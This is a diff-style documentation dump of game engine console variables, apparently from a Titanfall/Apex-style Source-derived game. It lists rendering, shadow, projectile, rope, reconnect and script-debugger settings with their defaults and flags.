+playlist_variableErrorsChecks + + + +default: `"1"` +flags: `0x2002` +
+
+portal_pointpush_debug + +Debug the portal_pointpush. + +default: `"0"` +flags: `0x6000` +
+
+portal_pointpush_think_rate + +The amount of time between thinks for the portal_pointpush. + +default: `"0.05f"` +flags: `0x6000` +
+
+portal_use_player_avoidance + + + +default: `"0"` +flags: `0x2002` +
+
+postdataupdate_threaded + + + +default: `"1"` +flags: `0x2` +
+
+postdataupdate_threaded_chunksize + + + +default: `"2"` +flags: `0x2` +
+
+printConnectTimings + + + +default: `"0"` +flags: `0x2` +
+
+print_timeprefix + + + +default: `"1"` +flags: `0x2` +
+
+process_pending_vm_effects + + + +default: `"1"` +flags: `0x2` +
+
+progressbar_allow_wrap + +Allow loading bar to wrap. + +default: `"1"` +flags: `0x2` +
+
+progressbar_high_precision + +Use a higher precision bar. + +default: `"0"` +flags: `0x2` +
+
+progressbar_single_bar + +Use a single bar. + +default: `"1"` +flags: `0x2` +
+
+projectile_fake_prediction_in_kill_replay + +Calls weapon primary-attack callbacks on client during replay to create predicted projectiles + +default: `"1"` +flags: `0x2002` +
+
+projectile_faketrails + +Enables fake projectile trails when the projectile impacts on the server before lag compensation is complete + +default: `"1"` +flags: `0x2` +
+
+projectile_filltrails + +Fill the gap between the gun barrel and the first seen projectile position for trail Fx (1: 1st person only, 2: 3rd person only, 3: 1st and 3rd persons) + +default: `"3"` +flags: `0x2` +
+
+projectile_lagCompensationDebug + +Draws lag compensation on projectiles + +default: `"0"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugDrawNoReg + +Debug draw when noreg is detected. + +default: `"1"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugDrawTime + +Amount of time debug drawing persists with projectile_lagCompensationDebug enabled. + +default: `"3.0"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugExtra + +Draws the "real" arc the projectile would take, as well as an extra simple simulation to compare with the actual path + +default: `"0"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugForceNoReg + +Force no reg on all shots. + +default: `"0"` +flags: `0x2002` +
+
+projectile_lagCompensationDebugServerOffset + +Offset the server debug lines by this many units vertically + +default: `"0"` +flags: `0x2002` +
+
+projectile_lagCompensationMissileTimeStepScalar + +Scales the time step used for seeking missiles in lag compensation + +default: `"1.0"` +flags: `0x2002` +
+
+projectile_muzzleOffsetFirstPersonDecayDist + +Distance over which projectiles fake their origin to come out of the gun muzzle + +default: `"1000"` +flags: `0x2` +
+
+projectile_muzzleOffsetFirstPersonDecayMaxTime + +Max time over which projectiles fake their origin to come out of the gun muzzle + +default: `"0.3"` +flags: `0x2` +
+
+projectile_muzzleOffsetThirdPersonDecayDist + +Distance over which projectiles fake their origin to come out of the gun muzzle + +default: `"1000"` +flags: `0x2` +
+
+projectile_muzzleOffsetThirdPersonDecayMaxTime + +Max time over which projectiles fake their origin to come out of the gun muzzle + +default: `"0.1"` +flags: `0x2` +
+
+projectile_prediction + +Performs client-side prediction and lag compensation on projectiles + +default: `"1"` +flags: `0x2002` +
+
+projectile_predictionErrorCorrectTime + +Time over which prediction errors are corrected for projectiles + +default: `"0.3"` +flags: `0x2` +
+
+prop_lightweightPropsSkipAnimData + + + +default: `"0"` +flags: `0x2` +
+
+prop_survivalSkipsAnimData + + + +default: `"1"` +flags: `0x2` +
+
+props_break_burst_rotation + +Rate of rotation in degrees per second. + +default: `"100"` +flags: `0x2002` +
+
+props_break_max_pieces + +Maximum prop breakable piece count (-1 = model default) + +default: `"-1"` +flags: `0x2002` +
+
+props_break_max_pieces_perframe + +Maximum prop breakable piece count per frame (-1 = model default) + +default: `"20"` +flags: `0x2002` +
+
+publication_hostname + + + +default: `""` +flags: `0x2` +
+
+push_cl + +1: Moving geo pushes client entities, 0: Client entities do not get pushed + +default: `"1"` +flags: `0x2` +
+
+push_cl_always_update_prev_matrix + + + +default: `"0"` +flags: `0x2` +
+
+push_debug + +Debug all pushing entities + +default: `"0"` +flags: `0x2002` +
+
+push_debug_ent + +Debug pushing entity + +default: `"-1"` +flags: `0x2002` +
+
+push_ragdolls + +Toggles whether to push ragdoll entities + +default: `"1"` +flags: `0x2002` +
+
+pve_debug + + + +default: `""` +flags: `0x2002` +
+
+pvs_addWorkItemsAccum + +Accumulate this many work items from the main PVS job before adding them to the worker thread array, which can be slow + +default: `"100"` +flags: `0x2` +
+
+pvs_addWorkItemsThreshold_edges + +load balancing threshold; if a node has more than this many leaves, it will spread the work across threads + +default: `"50"` +flags: `0x2` +
+
+pvs_addWorkItemsThreshold_leaves + +load balancing threshold; if a node has more than this many leaves, it will spread the work across threads + +default: `"5000"` +flags: `0x2` +
+
+pvs_cullBoxes + + + +default: `"1"` +flags: `0x2` +
+
+pvs_debug + + + +default: `"0"` +flags: `0x2` +
+
+pvs_frustumCullOnly + +0 - Off, 1 - On by Script, 2 - forced On + +default: `"0"` +flags: `0x2` +
+
+pvs_start_early + +0 not early, 1 after view setup, 2 after threaded bone setup + +default: `"2"` +flags: `0x2` +
+
+r_AirboatViewDampenDamp + + + +default: `"1.0"` +flags: `0x6000` +
+
+r_AirboatViewDampenFreq + + + +default: `"7.0"` +flags: `0x6000` +
+
+r_AirboatViewZHeight + + + +default: `"0.0"` +flags: `0x6000` +
+
+r_JeepViewDampenDamp + + + +default: `"1.0"` +flags: `0x6000` +
+
+r_JeepViewDampenFreq + + + +default: `"7.0"` +flags: `0x6000` +
+
+r_VehicleViewDampen + + + +default: `"1"` +flags: `0x6000` +
+
+r_WaterDrawReflection + +Enable water reflection + +default: `"1"` +flags: `0x2` +
+
+r_WaterDrawRefraction + +Enable water refraction + +default: `"1"` +flags: `0x2` +
+
+r_aspectratio + + + +default: `"0"` +flags: `0x2` +
+
+r_blurmenubg + +Blurs background when menus are open + +default: `"1"` +flags: `0x2` +
+
+r_bone_matrix_bulk_update_threshold + + + +default: `"64"` +flags: `0x2` +
+
+r_brush_queue_mode + + + +default: `"0"` +flags: `0x4000` +
+
+r_createmodeldecals + + + +default: `"1"` +flags: `0x40000000` +
+
+r_cullshadowworldmeshes + + + +default: `"1"` +flags: `0x2` +
+
+r_debug_draw_box_depth_test + +Toggle depth test for debug draw box functionality + +default: `"1"` +flags: `0x2` +
+
+r_decal_cover_count + + + +default: `"4"` +flags: `0x2` +
+
+r_decal_cull_stretch_limit + +Reciprocal of per-tri limit on decal stretching (0 is most permissive, 1 is most restrictive.) + +default: `"0.707"` +flags: `0x4000` +
+
+r_decal_draw_basis + + + +default: `"0"` +flags: `0x2` +
+
+r_decal_drawclipped + +A bit-field! 1:Draw decal debug triangle overlays of *all* potential hits, 2:Draw actual hits, 4:Draw clipped hits + +default: `"0"` +flags: `0x4000` +
+
+r_decal_overlap_area + + + +default: `"1.0"` +flags: `0x2` +
+
+r_decal_overlap_count + + + +default: `"3"` +flags: `0x2` +
+
+r_decal_test_scale + + + +default: `"1.0"` +flags: `0x2` +
+
+r_decals + + + +default: `"256"` +flags: `0x40000000` +min value: `0` +max value: `256` +
+
+r_delay_texture_destroy + +immediate call on Destroy() may cause GPU hang as it can still be used by GPU. this will make it delayed by one frame. + +default: `"1"` +flags: `0x2` +
+
+r_ditherFade + + + +default: `"1"` +flags: `0x4000` +
+
+r_ditherFade + + + +default: `"1"` +flags: `0x4000` +
+
+r_ditherFadeShadows + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawallrenderables + +Draw all renderables, even ones inside solid leaves. + +default: `"0"` +flags: `0x4000` +
+
+r_drawalphasort + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawbrushmodels + +Render brush models. 0=Off, 1=Normal, 2=Wireframe + +default: `"1"` +flags: `0x4000` +
+
+r_drawbrushmodels + +Render brush models. 0=Off, 1=Normal, 2=Wireframe + +default: `"1"` +flags: `0x4000` +
+
+r_drawdecals + +Render decals. + +default: `"1"` +flags: `0x4000` +
+
+r_drawdepth_of_blend2transparent + + + +default: `"1"` +flags: `0x2` +
+
+r_drawdlights + +whether to debug draw dlights + +default: `"0"` +flags: `0x4000` +
+
+r_drawentities + +0: dont' draw; 1: draw normal; 2: draw bones; 3: draw hulls + +default: `"1"` +flags: `0x4000` +
+
+r_drawlightdist + +If r_drawstaticlight is -1, only include draw lights within this radius + +default: `"4000"` +flags: `0x4000` +
+
+r_drawlightinfo + + + +default: `"0"` +flags: `0x4000` +
+
+r_drawmodelsinzfill + +Draw models in the zfill pass where they will affect light tile culling + +default: `"1"` +flags: `0x4000` +
+
+r_drawopaquerenderables + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawparticles + +Enable/disable particle rendering + +default: `"1"` +flags: `0x4000` +
+
+r_drawrenderboxes + + + +default: `"0"` +flags: `0x4000` +
+
+r_drawscreenspaceparticles + + + +default: `"1"` +flags: `0x2` +
+
+r_drawsky + +Enable the rendering of sky + +default: `"1"` +flags: `0x4000` +
+
+r_drawstaticlight + +0 = none, -1 = all within r_drawlightdist, other draws that light index + +default: `"0"` +flags: `0x4000` +
+
+r_drawstaticprops + +Toggle drawing of static props + +default: `"1"` +flags: `0x4000` +
+
+r_drawtracers + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawtransrenderables + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawvgui + +Enable the rendering of vgui panels + +default: `"1"` +flags: `0x4000` +
+
+r_drawviewmodel + + + +default: `"1"` +flags: `0x4000` +
+
+r_drawworld + +Render the world (0 = none, 1 = opaque only, 2 = trans only, 3 = both). + +default: `"3"` +flags: `0x40004000` +
+
+r_dynamic + + + +default: `"1"` +flags: `0x80000` +
+
+r_earlyRenderables + + + +default: `"1"` +flags: `0x2` +
+
+r_enableOriginSort + + + +default: `"1"` +flags: `0x4000` +
+
+r_fadeincode + + + +default: `"0"` +flags: `0x2` +
+
+r_farz + +Override the far clipping plane. -1 means to use the value in env_fog_controller. + +default: `"-1"` +flags: `0x4000` +
+
+r_fastzreject + +Activate/deactivates a fast z-setting algorithm to take advantage of hardware with fast z reject. Use -1 to default to hardware settings + +default: `"0"` +flags: `0x2` +
+
+r_forcecheapwater + +Force all water to be cheap water, will show old renders if enabled after water has been seen + +default: `"0"` +flags: `0x4008` +
+
+r_jiggle_bones + + + +default: `"1"` +flags: `0x2` +
+
+r_lightmap + + + +default: `"-1"` +flags: `0x804000` +
+
+r_lightprobe_force_trans_dist + +if an entity moves this distance or greater in one frame it is automatically transitioned to a new probe + +default: `"2000"` +flags: `0x2` +
+
+r_lightstyle + + + +default: `"-1"` +flags: `0x804000` +
+
+r_lod + + + +default: `"-1"` +flags: `0x2` +
+
+r_lod + + + +default: `"-1"` +flags: `0x2` +min value: `-1` +
+
+r_lod + + + +default: `"-1"` +flags: `0x2` +
+
+r_lod_shift + +Shifts the quality of LODs towards higher LOD levels + +default: `"0"` +flags: `0x2` +min value: `0` +
+
+r_lod_shift + +Shifts the quality of LODs towards higher LOD levels + +default: `"0"` +flags: `0x2` +min value: `0` +
+
+r_lod_switch_scale + + + +default: `"1"` +flags: `0x40000000` +
+
+r_mapextents + +Set the max dimension for the map. This determines the far clipping plane + +default: `"16384"` +flags: `0x4000` +
+
+r_modeldecal_maxtotal + + + +default: `"75"` +flags: `0x2` +
+
+r_nearz + +Near clipping plane distance + +default: `"7"` +flags: `0x2` +
+
+r_no_stalls + + + +default: `"0"` +flags: `0x2` +
+
+r_no_stalls + + + +default: `"0"` +flags: `0x2` +
+
+r_no_stalls + + + +default: `"0"` +flags: `0x2` +
+
+r_norefresh + + + +default: `"0"` +flags: `0x2` +
+
+r_particle_lighting_debug + +Toggle Particle Lighting Debug Texture + +default: `"0"` +flags: `0x2` +
+
+r_particle_lighting_enable + +Toggle Particle Lighting + +default: `"1"` +flags: `0x2` +
+
+r_particle_lighting_enable + +Toggle Particle Lighting + +default: `"1"` +flags: `0x2` +
+
+r_particle_lighting_force + +Force all particles to be lit + +default: `"0"` +flags: `0x2` +
+
+r_particle_lighting_force + +Force all particles to be lit + +default: `"0"` +flags: `0x2` +
+
+r_particle_low_res_debug + +Toggle Low Res Paricle Debug Texture + +default: `"0"` +flags: `0x2` +
+
+r_particle_low_res_draw_weight_tex + + + +default: `"0"` +flags: `0x2` +
+
+r_particle_low_res_enable + + + +default: `"1"` +flags: `0x2` +
+
+r_particle_low_res_force + + + +default: `"0"` +flags: `0x2` +
+
+r_particle_low_res_tiled_composite + + + +default: `"1"` +flags: `0x2` +
+
+r_particle_sim_spike_increment_ms + + + +default: `"0.25"` +flags: `0x2` +
+
+r_particle_sim_spike_threshold_ms + + + +default: `"0"` +flags: `0x2` +
+
+r_particle_timescale + + + +default: `"1.0"` +flags: `0x2` +
+
+r_particles_early_distance_cull + + + +default: `"1"` +flags: `0x2` +
+
+r_pos_debug + + + +default: `""` +flags: `0x2` +
+
+r_render_pos_debug + + + +default: `""` +flags: `0x2` +
+
+r_rimlight + + + +default: `"0"` +flags: `0x2` +
+
+r_rootlod + +Root LOD + +default: `"0"` +flags: `0x4800002` +min value: `0` +max value: `2` +
+
+r_ropetranslucent + + + +default: `"1"` +flags: `0x2` +
+
+r_setupBoneWorkSize + +work size for SetupBone_Worker + +default: `"10"` +flags: `0x2` +
+
+r_setupBoneWorkerThreadhold + +minimum ModelListByType_t::m_nSetupBoneCount value to be threaded for SetupBoneForModelList() call + +default: `"1"` +flags: `0x2` +
+
+r_shadowrendertotexture + + + +default: `"0"` +flags: `0x2` +
+
+r_sky_ignoreAngles + +Ignore the angle of the sky (for debugging) + +default: `"0"` +flags: `0x4000` +
+
+r_sort_trans_debug + + + +default: `"0"` +flags: `0x2` +
+
+r_sort_trans_debug_dist + + + +default: `"2000"` +flags: `0x2` +
+
+r_threaded_particles + + + +default: `"1"` +flags: `0x2` +
+
+r_updaterefracttexture + +When disabled, supresses any update of refract texture. + +default: `"1"` +flags: `0x4000` +
+
+r_updaterefracttexture_allowmultiple + +Allows multiple updates of refract texture per frame. + +default: `"0"` +flags: `0x2` +
+
+r_visambient + +Draw leaf ambient lighting samples. Mask of VIS_AMBIENT = 1, VIS_SKY = 2, VIS_SUN = 4, VIS_CLOUDMASK = 8, VIS_LIGHTS_1ST = 16, etc. + +default: `"0"` +flags: `0x2` +
+
+r_visambient_orig + +Show original lighting probes instead of the improved ones the game actually uses + +default: `"0"` +flags: `0x2` +
+
+r_visambient_point + +Draw leaf ambient lighting samples, for a point (like particles). + +default: `"0"` +flags: `0x2` +
+
+r_vismodellighting_lightpos + +Draw a line from the point light to the model lighting origin for this many of the closest lights that have r_vismodellighting enabled. + +default: `"0"` +flags: `0x4000` +
+
+r_vismodellighting_maxdist + + + +default: `"1000.0"` +flags: `0x4000` +
+
+r_vismodellighting_mindist + + + +default: `"48.0"` +flags: `0x4000` +
+
+r_vismodellighting_offset_x + +Offset the model lighting spheres by this amount. + +default: `"0"` +flags: `0x4000` +
+
+r_vismodellighting_offset_y + +Offset the model lighting spheres by this amount. + +default: `"0"` +flags: `0x4000` +
+
+r_vismodellighting_offset_z + +Offset the model lighting spheres by this amount. + +default: `"0"` +flags: `0x4000` +
+
+r_visualizeproplightcaching + + + +default: `"0"` +flags: `0x2` +
+
+r_visualizetraces + + + +default: `"0"` +flags: `0x4000` +
+
+r_visualizetraces_duration + + + +default: `"0.5"` +flags: `0x2` +
+
+r_volumetric_lighting_blur_count + + + +default: `"2"` +flags: `0x2` +
+
+r_volumetric_lighting_blur_type + + + +default: `"1"` +flags: `0x2` +
+
+r_volumetric_lighting_enabled + +Toggle Volumetric Light + +default: `"2"` +flags: `0x2` +
+
+r_volumetric_lighting_numSteps + + + +default: `"10"` +flags: `0x2` +
+
+r_volumetric_lighting_rotate_dither + + + +default: `"0"` +flags: `0x2` +
+
+r_waterforceexpensive + + + +default: `"0"` +flags: `0x2` +
+
+r_waterforcereflectentities + + + +default: `"0"` +flags: `0x2` +
+
+r_zfill + + + +default: `"1"` +flags: `0x2` +
+
+ragdoll_debug + + + +default: `"0"` +flags: `0x2002` +
+
+ragdoll_sleepaftertime + +After this many seconds of being basically stationary, the ragdoll will go to sleep. + +default: `"5"` +flags: `0x2` +
+
+rankedplay_display_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+rankedplay_voice_enabled + + + +default: `"0"` +flags: `0x1000000` +
+
+rate + +Max bytes/sec the host can receive data + +default: `"128000"` +flags: `0x2` +
+
+reactive_wakeOnStop + + + +default: `"1"` +flags: `0x2` +
+
+real_time_update_dt + + + +default: `"0.001"` +flags: `0x2` +
+
+realms_add_child_to_parent_by_default + + + +default: `"0"` +flags: `0x2002` +
+
+realms_script_error_on_parenting_mismatch + + + +default: `"0"` +flags: `0x2002` +
+
+recalculateOrigin_threaded_chunksize + + + +default: `"50"` +flags: `0x2` +
+
+reconnect_available_timespan + +Amount of seconds for which reconnect is available since last save. + +default: `"2400"` +flags: `0x2` +
+
+reconnect_check_platform_id + +Check platform id from local file. Useful when testing with multiple local win64 clients. + +default: `"1"` +flags: `0x2` +
+
+reconnect_debug + +Never disconnect a player having lost connection. + +default: `"0"` +flags: `0x2` +
+
+reconnect_delay + +Amount of seconds for which reconnect is waiting before connecting. + +default: `"5"` +flags: `0x2` +
+
+reconnect_enabled + +Whether disconnecting keeps the player around to allow reconnecting + +default: `"1"` +flags: `0x2` +
+
+reconnect_timeout + +Seconds after a disconnected client is completely removed from the server, stopping it from reconnecting + +default: `"300"` +flags: `0x2` +
+
+remoteCalls_requireConnectionScriptsForViewPlayer + + + +default: `"0"` +flags: `0x2` +
+
+remoteMatchInfo_print + + + +default: `"0"` +flags: `0x2` +
+
+replay_enable + +Enable Replay recording on server + +default: `"1"` +flags: `0x402002` +
+
+replay_prediction_smooth + + + +default: `"1"` +flags: `0x2` +
+
+report_cliententitysim + +List all clientside simulations and time - will report and turn itself off. + +default: `"0"` +flags: `0x4000` +
+
+report_clientthinklist + +List all clientside entities thinking and time - will report and turn itself off. + +default: `"0"` +flags: `0x4000` +
+
+roamingcam_cameraspacemotion + + + +default: `"0"` +flags: `0x2` +
+
+roamingcam_downSpeedMult + + + +default: `"0.5"` +flags: `0x2` +
+
+roamingcam_forwardSpeed + + + +default: `"1500"` +flags: `0x2` +
+
+roamingcam_forwardSpeed_fast + + + +default: `"10000"` +flags: `0x2` +
+
+roamingcam_forwardSpeed_slow + + + +default: `"10"` +flags: `0x2` +
+
+roamingcam_movesmoothing + + + +default: `"0"` +flags: `0x2` +
+
+roamingcam_rollSpeed + + + +default: `"40"` +flags: `0x2` +
+
+roamingcam_sideSpeedMult + + + +default: `"1"` +flags: `0x2` +
+
+roamingcam_smoothtime + + + +default: `"0.15"` +flags: `0x2` +
+
+roamingcam_viewsmoothing + + + +default: `"0"` +flags: `0x2` +
+
+rodeo_camera_smooth_blend_out_time + + + +default: `"0.4"` +flags: `0x2` +
+
+rodeo_camera_smooth_enable + + + +default: `"1"` +flags: `0x2` +
+
+rodeoed_anims_enabled + + + +default: `"0"` +flags: `0x2` +
+
+rope_collide + +Collide rope with the world + +default: `"1"` +flags: `0x2` +
+
+rope_debug_shake + +Helps visualize ropes effected by a shake. + +default: `"0"` +flags: `0x2` +
+
+rope_parallelMeshBuilder + + + +default: `"1"` +flags: `0x2` +
+
+rope_regenMeshEachDraw + + + +default: `"0"` +flags: `0x2` +
+
+rope_shake + + + +default: `"0"` +flags: `0x2` +
+
+rope_texels_per_world_unit + + + +default: `"8"` +flags: `0x2` +
+
+rope_wiggle_harmonic_falloff + +Falloff for oscillation magnitude of wave of increasing frequency (ropes and grapple) + +default: `"0.75"` +flags: `0x2` +
+
+rope_wiggle_magnitude_loose + +Fraction of rope (including grapple) distance used as max wiggle distance while the rope is loose (shooting) + +default: `".04"` +flags: `0x2` +
+
+rope_wiggle_magnitude_tight + +Fraction of rope (including grapple) distance used as max wiggle distance while the rope is tight (pulling or retracting) + +default: `".002"` +flags: `0x2` +
+
+rope_wiggle_oscillate_speed + +Speed at which rope (including grapple) wiggle oscillates + +default: `"64"` +flags: `0x2` +
+
+rope_wiggle_rotate_speed + +Speed at which rope (including grapple) wiggle rotates + +default: `"2"` +flags: `0x2` +
+
+rope_wiggle_zipline_min_points + +Increases point count for ziplines that are wiggling + +default: `"80"` +flags: `0x2` +
+
+rope_wind_dist + +Don't use CPU applying small wind gusts to ropes when they're past this distance. + +default: `"1000"` +flags: `0x2` +
+
+rotate_ents + + + +default: `"0"` +flags: `0x2` +
+
+rspn_motd + + + +default: `""` +flags: `0x2` +
+
+rt_sync_message_pump + +If 1 render thread with process message queue before starting main thread processing. If 2 then main thread will wait for the next frames message queue processing before gathering mouse input. If 3 then the main thread will wait for the current frames message queue processing before gathering mouse input...this may have a problem with the queue message pump sometimes starting before gathering mouse input and sometimes after causing hitches, but it has less latency and lower frame times when compared to the other methods. If 0 then gathering mouse input may happen before, during, or after the last frames mouse messages were process causing horrible hitch mouse response. + +default: `"1"` +flags: `0x2` +
+
+rt_worker + + + +default: `"1"` +flags: `0x2` +
+
+ruiPanel_resArgName + + + +default: `"actualRes"` +flags: `0x2` +
+
+rui_asyncTracks + +Toggles async update of RUI tracks + +default: `"0"` +flags: `0x2` +
+
+rui_defaultDebugFontFace + +Default font face for rui text in debug messages + +default: `"ArameMono"` +flags: `0x2` +
+
+rui_defaultFontFace + +Default font face for rui text + +default: `"DefaultRegularFont"` +flags: `0x2` +
+
+rui_defaultFontHeight + +Default font height for rui text + +default: `"28"` +flags: `0x2` +
+
+rui_overrideVguiTextRendering + +Use rui for rendering all vgui text + +default: `"1"` +flags: `0x2` +
+
+rui_padDist + + + +default: `"0.7"` +flags: `0x2` +
+
+rui_safeAreaFrac + +Fraction of safe area to use + +default: `"0.0"` +flags: `0x2` +max value: `1` +
+
+rui_standardTextHeight + + + +default: `"64.0"` +flags: `0x2` +
+
+save_enable + + + +default: `"0"` +flags: `0x2` +
+
+scheme_manager_font_debug + +0:Off, 1:On + +default: `"0"` +flags: `0x2` +
+
+scr_centertime + + + +default: `"2"` +flags: `0x2` +
+
+screen_indicator_back_range + +Number of degrees behind the player that is considered more behind than to the side + +default: `"60.0"` +flags: `0x2` +
+
+screen_indicator_ellipse_height + + + +default: `"0.75"` +flags: `0x2` +
+
+screen_indicator_ellipse_width + + + +default: `"0.85"` +flags: `0x2` +
+
+screen_indicator_pitch_limit + +The maximum pitch difference that will affect the indicator position + +default: `"75.0"` +flags: `0x2` +
+
+screen_indicator_pitch_scale + + + +default: `"2.0"` +flags: `0x2` +
+
+screenfade_debug + + + +default: `"0"` +flags: `0x2` +
+
+scriptNetVar_categoryAsserts + + + +default: `"1"` +flags: `0x2` +
+
+script_compile_all_levels + +Compiles all level scripts when loading a map. + +default: `"0"` +flags: `0x2` +
+
+script_debugger_connect_client_on_mapspawn + + + +default: `"0"` +flags: `0x2` +
+
+script_debugger_connect_ui_auto + +Only takes effect after uiscript_reset. Use command line argument -script_debugger_connect_ui for startup. + +default: `""` +flags: `0x2` +
+
+script_debugger_host + + + +default: `"localhost"` +flags: `0x2002` +
+
+script_debugger_port_client + + + +default: `"15101"` +flags: `0x2` +
+
+script_debugger_port_server + + + +default: `"15100"` +flags: `0x2` +
+
+script_debugger_port_ui + + + +default: `"15102"` +flags: `0x2` +
+
+script_disallow_newslot_on_globals + +Throws compile errors for global variables assigned with <- + +default: `"0"` +flags: `0x2002` +
+
+script_dump_simple + +If enabled then script dump format will skip null array/table entries and display each non-container value on a single line with the fully scoped key name. + +default: `"1"` +flags: `0x2002` +
+
+script_error_on_midgame_load + + + +default: `"1"` +flags: `0x2002` +
+
+script_infinite_loop_ms + +If script runs for more than this many milliseconds at one time then you will get a script error. + + +default: `"10000"` +flags: `0x2002` +
+
+script_obfuscated_id_technique + + + +default: `"3"` +flags: `0x2` +
+
+script_parallel_trace_LOS_multiple + + + +default: `"1"` +flags: `0x2002` +
+
+script_precache_errors + + + +default: `"1"` +flags: `0x6000` +
+
+script_printDeferredCalls + + + +default: `"0"` +flags: `0x2002` +
+
+script_retry_after_compile_errors + +After a compile error, tries compiling again immediately. + +default: `"0"` +flags: `0x2` +
+
+script_seasonNameQueryInterval + + + +default: `"30"` +flags: `0x2` +
+
+script_showErrorDialogs + + + +default: `"1"` +flags: `0x2` +
+
+script_slopTimeBeforeBudgetEnforcement + +How long to wait before we start complaining about slow budgets + +default: `"30"` +flags: `0x2` +
+
+script_window_client_precache + + + +default: `"1"` +flags: `0x2` +
+
+scriptremotefunctions_debug + +Enable debug print around remote functions + +default: `"0"` +flags: `0x4002` +
+
+scriptremotefunctions_resetOnlyUi + +Only UI function can be reset + +default: `"1"` +flags: `0x2` +
+
+scriptremotefunctions_saveFuncName + +Save script function name for easier debugging + +default: `"0"` +flags: `0x2` +
+
+seasonquest_force_missionscleared_count + + + +default: `"-1"` +flags: `0x2002` +
+
+seasonquest_force_treasurepacks_count + + + +default: `"-1"` +flags: `0x2002` +
+
+send_script_errors + + + +default: `"1"` +flags: `0x2` +
+
+sequence_transitioner_enable + + + +default: `"1"` +flags: `0x2002` +
+
+serverFilter + +Only connects to servers with the same value + +default: `""` +flags: `0x80000` +
+
+serverReports_hostname + + + +default: `""` +flags: `0x2` +
+
+server_concommands_allways_network + +When set to 1 , server commands with listen server pass down the network layer. + +default: `"1"` +flags: `0x2` +
+
+server_query_interval + + + +default: `"0.5"` +flags: `0x2` +
+
+sfm_record_hz + + + +default: `"30"` +flags: `0x2` +
+
+shader_lod_static_prop_scaled_dist + + + +default: `"1"` +flags: `0x2` +
+
+shader_lod_world_mesh_scaled_dist + + + +default: `"100"` +flags: `0x2` +
+
+shadow_always_update + +Set to 1 to make shadow maps regenerate every frame. + +default: `"0"` +flags: `0x4000` +
+
+shadow_bleedfudge + +Fudge value to decrease shadow map light bleeding + +default: `"0.0"` +flags: `0x4000` +
+
+shadow_capable + + + +default: `"1"` +flags: `0x2` +
+
+shadow_clear_dist + + + +default: `"1.0"` +flags: `0x4000` +
+
+shadow_dbg_cone_depthtest + +for shadow_dbg_cones + +default: `"0"` +flags: `0x4000` +
+
+shadow_dbg_cones + +Visualize shadow cones. Color-coded per shadow status. + +default: `"0"` +flags: `0x4000` +
+
+shadow_dbg_draw + +Visualize shadow atlas texture (1 .. 4, larger numbers for smaller sizes)Tweak - Purple, Dirty - Red, Dynamic - Green, Old Dynamic - Blue + +default: `"0"` +flags: `0x4000` +
+
+shadow_default_filter_size + +Size of the blur filter applied to spot shadows that don't request a different size. Odd integer only. + +default: `"3"` +flags: `0x4000` +
+
+shadow_depth_dimen_min + +Minimum resolution of a spot shadow map in width and height + +default: `"256"` +flags: `0x40000000` +
+
+shadow_depth_upres_factor_max + +Maximum requested upres factor of spot shadows (dimen_min << this) == largest spot shadow dimen + +default: `"2"` +flags: `0x40000000` +
+
+shadow_drawfrustum + + + +default: `"0"` +flags: `0x2` +
+
+shadow_dynamic_blendfactor + +Blend dynamic shadows over time. Low value: long history, 1: no history + +default: `"1"` +flags: `0x2` +
+
+shadow_enable + + + +default: `"1"` +flags: `0x40000000` +
+
+shadow_esm_enable + +(EXPERIMENTAL) Use exponential spot shadow maps instead of variance maps + +default: `"0"` +flags: `0x4000` +
+
+shadow_filter_maxstep + +Max step threshold for shadow map blend + +default: `"0.18"` +flags: `0x4000` +
+
+shadow_info + +Information about currently active depth shadows + +default: `"0"` +flags: `0x2` +
+
+shadow_lobby_mode_allowed + +allow special mode for lobby that does some tricks to improve spotlight shadow quality. 0 - disallowed, 1- allowed, 2 - forced + +default: `"1"` +flags: `0x4000` +
+
+shadow_max_downsizing_spot_updates + +Downsizing shadows are exceptions. We want to update more of them than shadow_max_spot_updates + +default: `"24"` +flags: `0x4000` +
+
+shadow_max_dynamic_lobby + +Maximum number of shadows that should update every frame in Lobby. + +default: `"5"` +flags: `0x40000000` +
+
+shadow_max_old_dynamic + +Maximum number of old shadows that should update every frame. It's a part of shadow_maxdynamic + +default: `"1"` +flags: `0x2` +
+
+shadow_max_spot_updates + +Maximum number of dynamic shadow maps to update on any given frame + +default: `"4"` +flags: `0x4000` +
+
+shadow_maxdynamic + +Maximum number of shadows that should update every frame. + +default: `"4"` +flags: `0x40000000` +
+
+shadow_maxdynamic + +Maximum number of shadows that should update every frame. + +default: `"4"` +flags: `0x40000000` +
+
+shadow_min_count_smallest + +Represents the minimum number of min resolution spot shadows to allocate in the shadow atlas.This will be adjusted upward to a multiple of the max sized spot shadow to find legal sized atlas dimensions. + +default: `"576"` +flags: `0x4000` +
+
+shadow_minvariance + +Minimum variance for shadow maps (controls edge softness) + +default: `"0.00001"` +flags: `0x4000` +
+
+shadow_multisampled + +Enable multisampling for shadows. + +default: `"1"` +flags: `0x4000` +
+
+shadow_noLOD + + + +default: `"1"` +flags: `0x2` +
+
+shadow_show_spot_udpate_infos + + + +default: `"0"` +flags: `0x4000` +
+
+shadow_tools_depth_dimen_min + +Minimum tools mode (lightedit) resolution of a spot shadow map in width and height + +default: `"256"` +flags: `0x4000` +
+
+shadow_tools_depth_upres_factor_max + +Maximum requested tools mode upres factor of spot shadows (dimen_min << this) == largest spot shadow dimen + +default: `"3"` +flags: `0x4000` +
+
+shadow_tools_min_count_smallest + +Represents the minimum number of min resolution spot shadows to allocate in the shadow atlas in tools mode.This will be adjusted upward to a multiple of the max sized spot shadow to find legal sized atlas dimensions. + +default: `"4096"` +flags: `0x4000` +
+
+shadow_tools_mode + +Turn on shadow tools mode rendering (higher atlas size limits, running out of shadows does not spam + +default: `"0"` +flags: `0x4000` +
+
+shadow_update_culling + +Don't update shadows that aren't in the view frustum. + +default: `"1"` +flags: `0x4000` +
+
+shake_angleFactor_human + + + +default: `"1.0"` +flags: `0x2` +
+
+shake_angleFactor_titan + + + +default: `"1.0"` +flags: `0x2` +
+
+shake_basicPitchFactor + + + +default: `"0.20"` +flags: `0x2` +
+
